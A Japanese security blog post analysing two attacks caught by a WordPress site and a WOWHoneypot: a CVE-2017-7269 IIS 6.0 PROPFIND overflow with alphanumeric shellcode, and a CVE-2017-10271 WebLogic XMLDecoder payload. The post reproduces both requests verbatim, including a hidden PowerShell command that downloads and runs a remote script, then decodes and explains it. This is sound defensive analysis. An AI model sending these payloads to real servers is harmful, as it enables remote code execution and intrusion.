おふとん

IT全般、セキュリティとかCTFとかに偏りがち

PROPFINDリクエスト!?

WordPressとWOWHoneypotにほぼ同時にPROPFINDという見慣れないリクエストが来ていました。

 

[WordPressに来たリクエスト]

PROPFIND / HTTP/1.1 
Host: localhost
Connection: Close
Content-Length: 0 If: <http://localhost/aaaaaaa........................................................................................................................................................................................................................................................................................................................................................................................................................................> (Not <locktoken:write1>) <http://localhost/bbbbbbb................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB9lk8sYkPkPypC0CY7uNQfr1TdKNrP0TKPRlLDKaBMDtKqbkxjoh70JNFP1yoP17PDlMls1QlYrnLmP7QXOlMZaI7K2hp22Nw4KqBjpBk12oLKQJ02kq03HE5WPQdOZm18PB0tKMxlXbk0XO0m1j3zCml0IrkLt2kiqxVnQYo01upvLva6ojmyqfgLxyPd5Xt9sQmHxoKqmLdSExbnxBk1Ho49qXSC6rkjlpK2kb8mLja8SDKjdDKKQ6pu90DmTNDaKqKOq1IPZr19ogpOhOo0ZtKzrXksVomqXPnc5qdm0ph1g2IPn0i2iJFR40hPLsGKvIwIoz5P1ioNwaGnw0WofRHnZofSIuWioJ5XkOpQKlqy921nqPjkSoanqrJPPr3r0Ph27ayCoev9oYEXk0OqImaFrNrBHkPp2aPtDNrNrB2r10Rb0S8hknunNoKkOZ5E96faZjp1KRHaplsipKPQygprJm4R0BJkoNvrHQenfeNTFIoiE019oogogNw27QF2HNMjfJxsKkOIEbeupqeMVNkZordu3kPM09pHkXQwyVDYpKPKPK8fLyoKOyonOpibMpa1W2Ed3NO1Qc2RCnONdpLnN0pS82PkPXkRKMay0Oo20BJm20jm2B01ZYrpjM20Wc88ZYfYJpO9o6u63MawP2FfXkTm3O9i4r4BmnlO4m8ma90vTLC2021ofc8LRV62iiRYoYEReEpqdLmNxu5EprTJvqZm0OdR0bmoTo4jl0Pb3bHLm1GFN1Kiovuu3JL9tHkXNpSc8FfRvqwnryoWeRJYpqGbHlq2kBOqwiovuaZkPBHXpee3rqFIo9EXhdPIoyo9oMsmjnOnOnrS5RC1ic3RLbE0rloloBS2VOsph2O2SsDlns51hPeIphhIbKNioKOp109OBLnmaP4mdlnP105P0nNNQoHLxkPAA>

 

調べてみるとCVE-2017-7269、IIS6.0の脆弱性みたいですね。

CVE-2017-7269 - 脆弱性調査レポート | ソフトバンク・テクノロジー

 

PoCもシェルコード部分以外一致してますし間違いなさそう。

IIS_exploit/exploit.py at master · edwardz246003/IIS_exploit · GitHub

 

WOWHoneypotの方に来た攻撃は先頭部分が違っていたので違う攻撃かと思いましたが少し捻ってありました。

PROPFIND / HTTP/1.1
Host: localhost
Connection: Close
Content-Length: 0
If: =?utf-8?b?PGh0dHA6Ly9sb2NhbGhvc3QvYWFhYWFhYcOmwr3CqMOnwqHCo8Onwp3CocOnwoTCs8OmwqTCtsOkwp3CssOnwqjCucOkwq3Ct8Okwr3CsMOnwpXCk8OnwqnCj8OkwqHCqMOlwpnCo8OmwrXClMOmwqE=?=

 

Base64っぽかったのでPGh〜を復号化すると

<http://localhost/aaaaaaa.......................

これがUTF-8として解釈されて結局は同じ攻撃ですね。

 

攻撃元は45.40.200.198と118.89.51.192の2種類で同じシェルコードを使っていました。

余談ですがVVYA〜のシェルコードは英数字のみで命令が構成されたいわゆるAlphanumeric Shellcodeというシェルコードです。

Webサーバとかは英数字一部記号以外のコードを受け付けないようになっているのでそのような場合は英数字で解釈出来る命令のみでシェルコードを構成するのだとか

 

2つの攻撃元はどちらも最初にCVE-2017-7269の攻撃を行なっていましたが、その後の挙動は異なり

 

45.40.200.198:親の顔より見たphpMyAdminなどのPHP関係の攻撃が50件

118.89.51.192:WebLogicの攻撃(CVE-2017-10271)が1件のみ

 

PHP関係は存在確認のみで終わり、良い感じにレスポンス返してあげたら別の挙動が見られるんですかね。

 

WebLogicは少し追って見ます。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xxx.xxx.xxx.xxx:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1187

<soapenv:envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:header>
<work:workcontext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<ava version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACAAJABPAFMAIgA7AEkARQBYACAAJABXAEMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvACAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==
</string>
</void>
</array>
<void method="start"></void>
</void>
</java>
</work:workcontext>
</soapenv:header>
<soapenv:body></soapenv:body>
</soapenv:envelope>

 

この攻撃が成功した場合はコマンドプロンプト(cmd.exe)で
Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACAAJABPAFMAIgA7AEkARQBYACAAJABXAEMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvACAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==

が実行されるわけですが、各オプションについても自分用にまとめ。

  • /Min : 起動時に最小化
  • -Nop : ユーザープロファイルを使用しない(プロファイルで禁止されているコマンドも実行可能)
  • -Nonl : 対話モードを使用しない(動作隠蔽用)
  • -EP ByPass : 通常のPowerShellの実行ポリシーをバイパス(これを指定すると-Eで指定したコマンドが実行ポリシーに引っかからなくなるみたいです)
  • -W Hidden :PowerShellによるウィンドウ表示をしない(動作隠蔽用)
  • -E :Base64エンコードされたコマンドを実行

 

Base64エンコードされたコマンドを見ていきます。(IP部分は編集で除いています)
$.O.S.=.(.G.W.m.i. .W.i.n.3.2._.O.p.e.r.a.t.i.n.g.S.y.s.t.e.m.)...C.a.p.t.i.o.n.;.$.W.C.=.N.e.w.-.O.b.j.e.c.t. .N.e.t...W.e.b.C.l.i.e.n.t.;.$.W.C...H.e.a.d.e.r.s.[.'.U.s.e.r.-.A.g.e.n.t.'.].=.".P.o.w.e.r.S.h.e.l.l./.W.L. .$.O.S.".;.I.E.X. .$.W.C...D.o.w.n.l.o.a.d.S.t.r.i.n.g.(.'.h.t.t.p.:./. /.i.m.a.g.e.s./.t.e.s.t./.D.L...p.h.p.'.).;.

整形すると...
#OS名取得
$OS = (GWmi Win32_OperatingSystem) Caption;
#WebClient設定
$WC = New-Object Net.WebClient;
#UA設定
$WC.Headers['User-Agent'] = "PowerShell/WL $OS";
#URIから文字列取得
$WC.DownloadString('http://[IPアドレス/imge/test/DL.php]');

このIPアドレスは落ちていたのでここまでです。
後は時間があればshellcodeの解析もしてみたいです。